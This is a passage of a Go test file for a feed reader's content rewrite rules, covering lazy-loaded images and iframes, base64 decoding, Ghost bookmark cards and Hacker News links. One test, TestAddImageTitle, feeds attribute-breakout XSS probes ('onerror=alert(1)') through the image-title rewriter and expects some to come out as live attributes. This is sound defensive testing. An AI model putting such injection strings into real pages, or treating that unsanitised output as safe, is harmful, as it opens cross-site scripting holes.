!reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteWithImageAndLazySrcset(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<img src=\"meow\" srcset=\"https://example.org/image.jpg\" data-srcset=\"https://example.org/image.jpg\" alt=\"Image\"/>`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<img src=\"meow\" srcset=\"\" data-srcset=\"https://example.org/image.jpg\" alt=\"Image\">`,\n\t}\n\tApplyContentRewriteRules(testEntry, \"add_dynamic_image\")\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteWithNoLazyIframe(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<iframe src=\"https://example.org/embed\" allowfullscreen></iframe>`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<iframe src=\"https://example.org/embed\" allowfullscreen></iframe>`,\n\t}\n\tApplyContentRewriteRules(testEntry, \"add_dynamic_iframe\")\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteWithLazyIframe(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<iframe data-src=\"https://example.org/embed\" allowfullscreen=\"\" src=\"https://example.org/embed\"></iframe>`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<iframe data-src=\"https://example.org/embed\" allowfullscreen></iframe>`,\n\t}\n\tApplyContentRewriteRules(testEntry, \"add_dynamic_iframe\")\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteWithLazyIframeAndSrc(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<iframe src=\"https://example.org/embed\" data-src=\"https://example.org/embed\" allowfullscreen=\"\"></iframe>`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<iframe src=\"about:blank\" data-src=\"https://example.org/embed\" allowfullscreen></iframe>`,\n\t}\n\tApplyContentRewriteRules(testEntry, \"add_dynamic_iframe\")\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestNewLineRewriteRule(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `A<br>B<br>C`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: \"A\\nB\\nC\",\n\t}\n\tApplyContentRewriteRules(testEntry, \"nl2br\")\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestConvertTextLinkRewriteRule(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `Test: <a href=\"http://example.org/a/b\">http://example.org/a/b</a>`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `Test: http://example.org/a/b`,\n\t}\n\tApplyContentRewriteRules(testEntry, \"convert_text_link\")\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestMediumImage(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<img alt=\"Image for post\" class=\"t u v if aj\" src=\"https://miro.medium.com/max/2560/1*ephLSqSzQYLvb7faDwzRbw.jpeg\" width=\"1280\" height=\"720\" srcset=\"https://miro.medium.com/max/552/1*ephLSqSzQYLvb7faDwzRbw.jpeg 276w, https://miro.medium.com/max/1104/1*ephLSqSzQYLvb7faDwzRbw.jpeg 552w, https://miro.medium.com/max/1280/1*ephLSqSzQYLvb7faDwzRbw.jpeg 640w, https://miro.medium.com/max/1400/1*ephLSqSzQYLvb7faDwzRbw.jpeg 700w\" sizes=\"700px\"/>`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:   \"https://example.org/article\",\n\t\tTitle: `A title`,\n\t\tContent: `\n\t\t<figure class=\"ht hu hv hw hx hy cy cz paragraph-image\">\n\t\t\t<div class=\"hz ia ib ic aj\">\n\t\t\t\t<div class=\"cy cz hs\">\n\t\t\t\t\t<div class=\"ii s ib ij\">\n\t\t\t\t\t\t<div class=\"ik il s\">\n\t\t\t\t\t\t\t<div class=\"id ie t u v if aj bk ig ih\">\n\t\t\t\t\t\t\t\t<img alt=\"Image for post\" class=\"t u v if aj im in io\" src=\"https://miro.medium.com/max/60/1*ephLSqSzQYLvb7faDwzRbw.jpeg?q=20\" width=\"1280\" height=\"720\"/>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<img alt=\"Image for post\" class=\"id ie t u v if aj c\" width=\"1280\" height=\"720\"/>\n\t\t\t\t\t\t\t<noscript>\n\t\t\t\t\t\t\t\t<img alt=\"Image for post\" class=\"t u v if aj\" src=\"https://miro.medium.com/max/2560/1*ephLSqSzQYLvb7faDwzRbw.jpeg\" width=\"1280\" height=\"720\" srcSet=\"https://miro.medium.com/max/552/1*ephLSqSzQYLvb7faDwzRbw.jpeg 276w, https://miro.medium.com/max/1104/1*ephLSqSzQYLvb7faDwzRbw.jpeg 552w, https://miro.medium.com/max/1280/1*ephLSqSzQYLvb7faDwzRbw.jpeg 640w, https://miro.medium.com/max/1400/1*ephLSqSzQYLvb7faDwzRbw.jpeg 700w\" sizes=\"700px\"/>\n\t\t\t\t\t\t\t</noscript>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</figure>\n\t\t`,\n\t}\n\tApplyContentRewriteRules(testEntry, \"fix_medium_images\")\n\ttestEntry.Content = strings.TrimSpace(testEntry.Content)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteNoScriptImageWithoutNoScriptTag(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<figure><img src=\"https://developer.mozilla.org/static/img/favicon144.png\" alt=\"The beautiful MDN logo.\"/><figcaption>MDN Logo</figcaption></figure>`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<figure><img src=\"https://developer.mozilla.org/static/img/favicon144.png\" alt=\"The beautiful MDN logo.\"><figcaption>MDN Logo</figcaption></figure>`,\n\t}\n\tApplyContentRewriteRules(testEntry, \"use_noscript_figure_images\")\n\ttestEntry.Content = strings.TrimSpace(testEntry.Content)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteNoScriptImageWithNoScriptTag(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<figure><img src=\"http://example.org/logo.svg\"/><figcaption>MDN Logo</figcaption></figure>`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<figure><img src=\"https://developer.mozilla.org/static/img/favicon144.png\" alt=\"The beautiful MDN logo.\"><noscript><img src=\"http://example.org/logo.svg\"></noscript><figcaption>MDN Logo</figcaption></figure>`,\n\t}\n\tApplyContentRewriteRules(testEntry, \"use_noscript_figure_images\")\n\ttestEntry.Content = strings.TrimSpace(testEntry.Content)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteReplaceCustom(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<img src=\"http://example.org/logo.svg\"><img src=\"https://example.org/article/picture.png\">`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<img src=\"http://example.org/logo.svg\"><img src=\"https://example.org/article/picture.svg\">`,\n\t}\n\tApplyContentRewriteRules(testEntry, `replace(\"article/(.*).svg\"|\"article/$1.png\")`)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteReplaceTitleCustom(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `Ouch, a thistle`,\n\t\tContent: `The replace_title rewrite rule should not modify the content.`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `The replace_title rewrite rule should not modify the content.`,\n\t}\n\tApplyContentRewriteRules(testEntry, `replace_title(\"(?i)^a\\\\s*ti\"|\"Ouch, a this\")`)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteRemoveCustom(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<div>Lorem Ipsum <span class=\"ads keep\">Super important info</span></div>`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<div>Lorem Ipsum <span class=\"spam\">I dont want to see this</span><span class=\"ads keep\">Super important info</span></div>`,\n\t}\n\tApplyContentRewriteRules(testEntry, `remove(\".spam, .ads:not(.keep)\")`)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteRemoveQuotedSelector(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<div>Lorem Ipsum</div>`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<div>Lorem Ipsum<img alt=\"LINUX KERNEL\" src=\"/assets/categories/linuxkernel.webp\" width=\"100\" height=\"100\"></div>`,\n\t}\n\tApplyContentRewriteRules(testEntry, `remove(\"img[src^='/assets/categories/']\")`)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteAddCastopodEpisode(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://podcast.demo/@demo/episodes/test\",\n\t\tTitle:   `A title`,\n\t\tContent: `<iframe width=\"650\" frameborder=\"0\" src=\"https://podcast.demo/@demo/episodes/test/embed/light\"></iframe><br>Episode Description`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://podcast.demo/@demo/episodes/test\",\n\t\tTitle:   `A title`,\n\t\tContent: `Episode Description`,\n\t}\n\tApplyContentRewriteRules(testEntry, `add_castopod_episode`)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteBase64Decode(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `This is some base64 encoded content`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `VGhpcyBpcyBzb21lIGJhc2U2NCBlbmNvZGVkIGNvbnRlbnQ=`,\n\t}\n\tApplyContentRewriteRules(testEntry, `base64_decode`)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteBase64DecodeInHTML(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<div>Lorem Ipsum not valid base64<span class=\"base64\">This is some base64 encoded content</span></div>`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<div>Lorem Ipsum not valid base64<span class=\"base64\">VGhpcyBpcyBzb21lIGJhc2U2NCBlbmNvZGVkIGNvbnRlbnQ=</span></div>`,\n\t}\n\tApplyContentRewriteRules(testEntry, `base64_decode`)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteBase64DecodeArgs(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<div>Lorem Ipsum<span class=\"base64\">This is some base64 encoded content</span></div>`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<div>Lorem Ipsum<span class=\"base64\">VGhpcyBpcyBzb21lIGJhc2U2NCBlbmNvZGVkIGNvbnRlbnQ=</span></div>`,\n\t}\n\tApplyContentRewriteRules(testEntry, `base64_decode(\".base64\")`)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteRemoveTables(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<p>Test</p><p>Hello World!</p><p>Test</p>`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<table class=\"container\"><tbody><tr><td><p>Test</p><table class=\"row\"><tbody><tr><td><p>Hello World!</p></td><td><p>Test</p></td></tr></tbody></table></td></tr></tbody></table>`,\n\t}\n\tApplyContentRewriteRules(testEntry, `remove_tables`)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRemoveClickbait(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `This Is Amazing`,\n\t\tContent: `Some description`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `THIS IS AMAZING`,\n\t\tContent: `Some description`,\n\t}\n\tApplyContentRewriteRules(testEntry, `remove_clickbait`)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestAddHackerNewsLinksUsingHack(t *testing.T) {\n\ttestEntry := &model.Entry{\n\t\tURL:   \"https://example.org/article\",\n\t\tTitle: `A title`,\n\t\tContent: `<p>Article URL: <a href=\"https://example.org/url\">https://example.org/article</a></p>\n\t\t<p>Comments URL: <a href=\"https://news.ycombinator.com/item?id=37620043\">https://news.ycombinator.com/item?id=37620043</a></p>\n\t\t<p>Points: 23</p>\n\t\t<p># Comments: 38</p>`,\n\t}\n\n\tcontrolEntry := &model.Entry{\n\t\tURL:   \"https://example.org/article\",\n\t\tTitle: `A title`,\n\t\tContent: `<p>Article URL: <a href=\"https://example.org/url\">https://example.org/article</a></p>\n\t\t<p>Comments URL: <a href=\"https://news.ycombinator.com/item?id=37620043\">https://news.ycombinator.com/item?id=37620043</a> <a href=\"hack://item?id=37620043\">Open with HACK</a></p>\n\t\t<p>Points: 23</p>\n\t\t<p># Comments: 38</p>`,\n\t}\n\tApplyContentRewriteRules(testEntry, `add_hn_links_using_hack`)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestAddHackerNewsLinksUsingOpener(t *testing.T) {\n\ttestEntry := &model.Entry{\n\t\tURL:   \"https://example.org/article\",\n\t\tTitle: `A title`,\n\t\tContent: `<p>Article URL: <a href=\"https://example.org/url\">https://example.org/article</a></p>\n\t\t<p>Comments URL: <a href=\"https://news.ycombinator.com/item?id=37620043\">https://news.ycombinator.com/item?id=37620043</a></p>\n\t\t<p>Points: 23</p>\n\t\t<p># Comments: 38</p>`,\n\t}\n\n\tcontrolEntry := &model.Entry{\n\t\tURL:   \"https://example.org/article\",\n\t\tTitle: `A title`,\n\t\tContent: `<p>Article URL: <a href=\"https://example.org/url\">https://example.org/article</a></p>\n\t\t<p>Comments URL: <a href=\"https://news.ycombinator.com/item?id=37620043\">https://news.ycombinator.com/item?id=37620043</a> <a href=\"opener://x-callback-url/show-options?url=https%3A%2F%2Fnews.ycombinator.com%2Fitem%3Fid%3D37620043\">Open with Opener</a></p>\n\t\t<p>Points: 23</p>\n\t\t<p># Comments: 38</p>`,\n\t}\n\tApplyContentRewriteRules(testEntry, `add_hn_links_using_opener`)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestAddImageTitle(t *testing.T) {\n\ttestEntry := &model.Entry{\n\t\tURL:   \"https://example.org/article\",\n\t\tTitle: `A title`,\n\t\tContent: `\n\t\t<img src=\"pif\" title=\"pouf\">\n\t\t<img src=\"pif\" title=\"pouf\" alt='\"onerror=alert(1) a=\"'>\n\t\t<img src=\"pif\" title=\"pouf\" alt='&quot;onerror=alert(1) a=&quot'>\n\t\t<img src=\"pif\" title=\"pouf\" alt=';&amp;quot;onerror=alert(1) a=;&amp;quot;'>\n\t\t<img src=\"pif\" alt=\"pouf\" title='\"onerror=alert(1) a=\"'>\n\t\t<img src=\"pif\" alt=\"pouf\" title='&quot;onerror=alert(1) a=&quot'>\n\t\t<img src=\"pif\" alt=\"pouf\" title=';&amp;quot;onerror=alert(1) a=;&amp;quot;'>\n\t\t`,\n\t}\n\n\tcontrolEntry := &model.Entry{\n\t\tURL:   \"https://example.org/article\",\n\t\tTitle: `A title`,\n\t\tContent: `<figure><img src=\"pif\" alt=\"\"/><figcaption><p>pouf</p></figcaption></figure>\n\t\t<figure><img src=\"pif\" alt=\"\" onerror=\"alert(1)\" a=\"\"/><figcaption><p>pouf</p></figcaption></figure>\n\t\t<figure><img src=\"pif\" alt=\"\" onerror=\"alert(1)\" a=\"\"/><figcaption><p>pouf</p></figcaption></figure>\n\t\t<figure><img src=\"pif\" alt=\";&#34;onerror=alert(1) a=;&#34;\"/><figcaption><p>pouf</p></figcaption></figure>\n\t\t<figure><img src=\"pif\" alt=\"pouf\"/><figcaption><p>&#34;onerror=alert(1) a=&#34;</p></figcaption></figure>\n\t\t<figure><img src=\"pif\" alt=\"pouf\"/><figcaption><p>&#34;onerror=alert(1) a=&#34;</p></figcaption></figure>\n\t\t<figure><img src=\"pif\" alt=\"pouf\"/><figcaption><p>;&amp;quot;onerror=alert(1) a=;&amp;quot;</p></figcaption></figure>\n\t\t`,\n\t}\n\tApplyContentRewriteRules(testEntry, `add_image_title`)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestFixGhostCard(t *testing.T) {\n\ttestEntry := &model.Entry{\n\t\tURL:   \"https://example.org/article\",\n\t\tTitle: `A title`,\n\t\tContent: `<figure class=\"kg-card kg-bookmark-card\">\n\t\t\t<a class=\"kg-bookmark-container\" href=\"https://example.org/article\">\n\t\t\t\t<div class=\"kg-bookmark-content\">\n\t\t\t\t\t<div class=\"kg-bookmark-title\">Example Article</div>\n\t\t\t\t\t<div class=\"kg-bookmark-description\">Lorem ipsum odor amet, consectetuer adipiscing elit. Pretium magnis luctus ligula conubia quam, donec orci vehicula efficitur...</div>\n\t\t\t\t\t<div class=\"kg-bookmark-metadata\">\n\t\t\t\t\t\t<img class=\"kg-bookmark-icon\" src=\"https://example.org/favicon.ico\" alt=\"\">\n\t\t\t\t\t\t<span class=\"kg-bookmark-author\">Example</span>\n\t\t\t\t\t\t<span class=\"kg-bookmark-publisher\">Test Author</span>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"kg-bookmark-thumbnail\">\n\t\t\t\t\t<img src=\"https://example.org/article-image.jpg\" alt=\"\" onerror=\"this.style.display = 'none'\">\n\t\t\t\t</div>\n\t\t\t</a>\n\t\t</figure>`,\n\t}\n\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<a href=\"https://example.org/article\">Example Article - Example</a>`,\n\t}\n\tApplyContentRewriteRules(testEntry, `fix_ghost_cards`)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestFixGhostCardNoCard(t *testing.T) {\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<a href=\"https://example.org/article\">Example Article - Example</a>`,\n\t}\n\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<a href=\"https://example.org/article\">Example Article - Example</a>`,\n\t}\n\tApplyContentRewriteRules(testEntry, `fix_ghost_cards`)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestFixGhostCardInvalidCard(t *testing.T) {\n\ttestEntry := &model.Entry{\n\t\tURL:   \"https://example.org/article\",\n\t\tTitle: `A title`,\n\t\tContent: `<figure class=\"kg-card kg-bookmark-card\">\n\t\t\t<a href=\"https://example.org/article\">This card does not have the required fields</a>\n\t\t</figure>`,\n\t}\n\n\tcontrolEntry := &model.Entry{\n\t\tURL:   \"https://example.org/article\",\n\t\tTitle: `A title`,\n\t\tContent: `<figure class=\"kg-card kg-bookmark-card\">\n\t\t\t<a href=\"https://example.org/article\">This card does not have the required fields</a>\n\t\t</figure>`,\n\t}\n\tApplyContentRewriteRules(testEntry, `fix_ghost_cards`)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestFixGhostCardMissingAuthor(t *testing.T) {\n\ttestEntry := &model.Entry{\n\t\tURL:   \"https://example.org/article\",\n\t\tTitle: `A title`,\n\t\tContent: `<figure class=\"kg-card kg-bookmark-card\">\n\t\t\t<a class=\"kg-bookmark-container\" href=\"https://example.org/article\">\n\t\t\t\t<div class=\"kg-bookmark-content\">\n\t\t\t\t\t<div class=\"kg-bookmark-title\">Example Article</div>\n\t\t\t\t\t<div class=\"kg-bookmark-description\">Lorem ipsum odor amet, consectetuer adipiscing elit. Pretium magnis luctus ligula conubia quam, donec orci vehicula efficitur...</div>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"kg-bookmark-thumbnail\">\n\t\t\t\t\t<img src=\"https://example.org/article-image.jpg\" alt=\"\" onerror=\"this.style.display = 'none'\">\n\t\t\t\t</div>\n\t\t\t</a>\n\t\t</figure>`,\n\t}\n\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<a href=\"https://example.org/article\">Example Article</a>`,\n\t}\n\tApplyContentRewriteRules(testEntry, `fix_ghost_cards`)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestFixGhostCardDuplicatedAuthor(t *testing.T) {\n\ttestEntry := &model.Entry{\n\t\tURL:   \"https://example.org/article\",\n\t\tTitle: `A title`,\n\t\tContent: `<figure class=\"kg-card kg-bookmark-card\">\n\t\t\t<a class=\"kg-bookmark-container\" href=\"https://example.org/article\">\n\t\t\t\t<div class=\"kg-bookmark-content\">\n\t\t\t\t\t<div class=\"kg-bookmark-title\">Example Article - Example</div>\n\t\t\t\t\t<div class=\"kg-bookmark-description\">Lorem ipsum odor amet, consectetuer adipiscing elit. Pretium magnis luctus ligula conubia quam, donec orci vehicula efficitur...</div>\n\t\t\t\t\t<div class=\"kg-bookmark-metadata\">\n\t\t\t\t\t\t<img class=\"kg-bookmark-icon\" src=\"https://example.org/favicon.ico\" alt=\"\">\n\t\t\t\t\t\t<span class=\"kg-bookmark-author\">Example</span>\n\t\t\t\t\t\t<span class=\"kg-bookmark-publisher\">Test Author</span>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"kg-bookmark-thumbnail\">\n\t\t\t\t\t<img src=\"https://example.org/article-image.jpg\" alt=\"\" onerror=\"this.style.display = 'none'\">\n\t\t\t\t</div>\n\t\t\t</a>\n\t\t</figure>`,\n\t}\n\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<a href=\"https://example.org/article\">Example Article - Example</a>`,\n\t}\n\tApplyContentRewriteRules(testEntry, `fix_ghost_cards`)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestFixGhostCardMultiple(t *testing.T) {\n\ttestEntry := &model.Entry{\n\t\tURL:   \"https://example.org/article\",\n\t\tTitle: `A title`,\n\t\tContent: `<figure class=\"kg-card kg-bookmark-card\">\n\t\t\t<a class=\"kg-bookmark-container\" href=\"https://example.org/article1\">\n\t\t\t\t<div class=\"kg-bookmark-content\">\n\t\t\t\t\t<div class=\"kg-bookmark-title\">Example Article 1 - Example</div>\n\t\t\t\t\t<div class=\"kg-bookmark-description\">Lorem ipsum odor amet, consectetuer adipiscing elit. Pretium magnis luctus ligula conubia quam, donec orci vehicula efficitur...</div>\n\t\t\t\t\t<div class=\"kg-bookmark-metadata\">\n\t\t\t\t\t\t<img class=\"kg-bookmark-icon\" src=\"https://example.org/favicon.ico\" alt=\"\">\n\t\t\t\t\t\t<span class=\"kg-bookmark-author\">Example</span>\n\t\t\t\t\t\t<span class=\"kg-bookmark-publisher\">Test Author</span>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"kg-bookmark-thumbnail\">\n\t\t\t\t\t<img src=\"https://example.org/article-image.jpg\" alt=\"\" onerror=\"this.style.display = 'none'\">\n\t\t\t\t</div>\n\t\t\t</a>\n\t\t</figure>\n\t\t<figure class=\"kg-card kg-bookmark-card\">\n\t\t\t<a class=\"kg-bookmark-container\" href=\"https://example.org/article2\">\n\t\t\t\t<div class=\"kg-bookmark-content\">\n\t\t\t\t\t<div class=\"kg-bookmark-title\">Example Article 2 - Example</div>\n\t\t\t\t\t<div class=\"kg-bookmark-description\">Lorem ipsum odor amet, consectetuer adipiscing elit. Pretium magnis luctus ligula conubia quam, donec orci vehicula efficitur...</div>\n\t\t\t\t\t<div class=\"kg-bookmark-metadata\">\n\t\t\t\t\t\t<img class=\"kg-bookmark-icon\" src=\"https://example.org/favicon.ico\" alt=\"\">\n\t\t\t\t\t\t<span class=\"kg-bookmark-author\">Example</span>\n\t\t\t\t\t\t<span class=\"kg-bookmark-publisher\">Test 